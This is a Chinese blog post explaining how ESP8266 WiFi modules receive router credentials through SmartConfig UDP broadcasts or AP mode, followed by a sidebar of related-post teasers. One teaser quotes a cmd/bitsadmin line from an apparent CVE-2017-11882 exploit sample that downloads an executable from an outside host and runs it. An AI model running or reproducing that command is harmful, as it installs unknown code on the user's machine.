文档章节

WIFI 一键配置原理-ESP8266

机智云开发者
 机智云开发者
发布于 2017/07/27 18:51
字数 1544
阅读 32
收藏 1

1、wifi模块可以连接路由器,是不是就能实现远程控制呢?
      wifi模块可以连接路由器,说明实现路由器的局域网控制没有问题。
 

2、远程控制的过程中,自己家里面搭建服务器可以吗?

        远程控制需要服务器,但是用户通过自己的电脑在家里搭建服务器实现的可能性很小,因为搭建服务器需要公网的Ip还有服务器相关的软件开发,并且维护过程是一个成本较高的开支。

 

3、现在市面上有哪几种可以实现远程控制?

 

方式一:自己买服务器硬件,搭建在腾讯服务器百度服务器中心等(方便维护),企业自身开发服务器软件等。(超大型企业)

方式二:通过租用阿里云,自己写服务器的软件实现。(企业用户,难度较大)

方式三:通过一些P2P平台,实现穿透。但是国内的这项技术相对不够准确。(小部分企业使用)

方式四:通过第三方平台实现,比如机智云等。(企业用户和个人开发者)

方式五:通过路由器的花生壳技术解析,实现映射的过程。(业余爱好者)

从上面可以很清楚的看出,对于一般企业来说,想要让设备联网,从成本、维护、周期等等角度考虑,选择机智云之类的方案是最快捷、安全可靠的联网方式之一。

 

就联网方面,目前运用非常广的WIFI,今天就总结下这个方面,也对于有需要的盆友也希望有抛砖引玉之效果。

 

来看个知乎上的提问,很有意思!

问题:

用机智云开发了一个智能插座,发现有一个很神奇的一键配置功能。简单的说就是:当智能插座还没有连上WiFi的时候,此时通过手机App可以将WiFi的SSID及密码一键配置到智能插座上去。

 

知乎有人回答,看到比较好的解答是:

解析一键配置,其大体工作原理如下:

1. 设备进入初始化状态,开始收听附近的 WiFi 数据包。

2. 手机/平板设置 WiFi 名字和密码后,发送 UDP 广播包。

3. 设备通过 UDP 包(长度)获取配置信息,切换网络模式,连接上家里 WiFi,配置完成。

 

接下来我们来分析一下原理

物联网智能单品路线: 智能硬件+APP+云

APP将要配置上的路由的wifi用户名、密码进入智能硬件,目前各个WIFI芯片厂家基本采用以下几种方式:

 

1)SmartConfig

2)AP模式: APP 配置 手机连接到 智能硬件(WIFI芯片 的AP),构建成一个局域网,当然该局域网是不能上网的,但是局域网内的各个设备的通信是OK的。

此时 该局域网内一般有三个设备(WIFI芯片工作在AP模式 或者是AP+STATION模式),手机和智能硬工作在STATION模式。

 

SmartConfig也就是所谓的一键配置,速度比AP模式快,为什么呢?请看下面分解。

 

所谓的SmartConfig就是:

  • 手机APP端发送包含WIFI 用户名 WIFI密码的 UDP广播包或者组播包;

  • 智能终端的WIFI芯片可以接收到该UDP包,只要知道UDP的组织形式,就可以通过接收到的UDP包解密 出WIFI 用户名、密码;

  • 然后智能硬件配置到指定的WIFI AP 上。

 

AP模式比较不好的就是配置时间比smartconfig要长,手机连接的WIFI接入点会变化,如果配置不成功,手机就无法上网,需要在手动配置WIFI,手机才能上网。

 

ESP8266 芯片:SDK提供两种连接方式:

 

1)smartconfig

采用UDP广播模式(UDP接收IP地址是255.255.255.255)esp8266先scan 下AP ,得到AP的相关信息,如工作的channel,然后配置wifi芯片工作在刚才scan到的channel上去接收UDP包,如果没有接收到,继续配置ESP8266工作在另外的channel上,如此循环,直到收到UDP包为止,为什么要提前进行SCAN 下WIFI AP呢?

 

就是为了提高配置效率。假设当前网络中只有两个AP,一个AP工作在CHANEL1,另外个 ap工作在channel13,我们现在需要配置智能硬件连接到AP2 ,就是channel13上,如果不提前scan就需要从1--13扫描浪费时间。就是需要从channel1-chane2---...channnel13一直扫描了,如果扫描了AP,芯片马上从AP CHANNNEL1 到channel13加快获取到UDP包。

 

 

2) AP接入

 

AP 是 (Wireless) AccessPoint 的缩写,即 (无线) 访问接入点。简单来讲就像是无线路由器一样,设备打开后进入 AP 模式,在手机的网络列表里面,可以搜索到类似 TPLINK_XXX 的名字(SSID)。

 

 

随着无线路由器双频 WiFi(可以有两个 WiFi 名字,其中一个 5G,一个 2.4G)的越来越多,也许下一次智能硬件公司更换 WiFi 方案时,设备支持 5G 也会是个选择因素了(换个支持 5G 的芯片方案)。

 

再往下畅想,对于手机厂商来讲,可以进一步的优化基于一键配置的连接 WiFi 方式:借助于手机共享自身连入的 wifi(SSID)给设备,直接给用户提供免配置体验(实际是后台替你做了一键配置的流程)。

 

当然也会有其他连接方式,诸如使用 NFC,声波识别等告诉智能设备要配置 WiFi 的名字和密码,如叮咚音箱就是这样做的。

© 著作权归作者所有

共有 人打赏支持
机智云开发者
粉丝 2
博文 24
码字总数 21270
作品 0
广州
Esp8266学习之旅① 搭建开发环境,开始一个“hellow world”串口打印。

欢迎来到物联网智能家居顶量级别wifi模块Esp8266学习之旅。 本系列博客学习由非官方人员 半颗心脏 潜心所力所写,仅仅做个人技术交流分享,不做任何商业用途。如有不对之处,请留言,本人及时...

xh870189248
2017/09/14
0
0
Esp8266学习之旅④ 了解PWM,更为深入地用PWM控制一盏LED的亮度变化。(附带demo)

欢迎来到物联网智能家居顶量级别wifi模块Esp8266学习之旅。 本系列博客学习由非官方人员 半颗心脏 潜心所力所写,仅仅做个人技术交流分享,不做任何商业用途。如有不对之处,请留言,本人及时...

xh870189248
2017/10/11
0
0
Esp8266学习之旅③ 利用 " 软件定时器 " 定时0.5秒闪烁点亮一盏LED。(附带demo)

欢迎来到物联网智能家居顶量级别wifi模块Esp8266学习之旅。 本系列博客学习由非官方人员 半颗心脏 潜心所力所写,仅仅做个人技术交流分享,不做任何商业用途。如有不对之处,请留言,本人及时...

xh870189248
2017/10/03
0
0
Esp8266学习之旅② 利用GPIO开始使用按钮点亮你的“第一盏灯”。(附带demo)

欢迎来到物联网智能家居顶量级别wifi模块Esp8266学习之旅。 本系列博客学习由非官方人员 半颗心脏 潜心所力所写,仅仅做个人技术交流分享,不做任何商业用途。如有不对之处,请留言,本人及时...

xh870189248
2017/09/28
0
0
51单片机连接ESP8266串口WiFi模块

烧录固件 引脚连接 烧录固件 打开烧录软件,选择配置选项卡,点击第二栏的小齿轮图标 - 加载固件地址 点击其他选项的选择栏,取消选中,只选择第二个选项(固件地址) 返回操作选项卡,选择正...

pop1586082213
2017/01/18
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
21分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
34分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
36分钟前
1
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
47分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部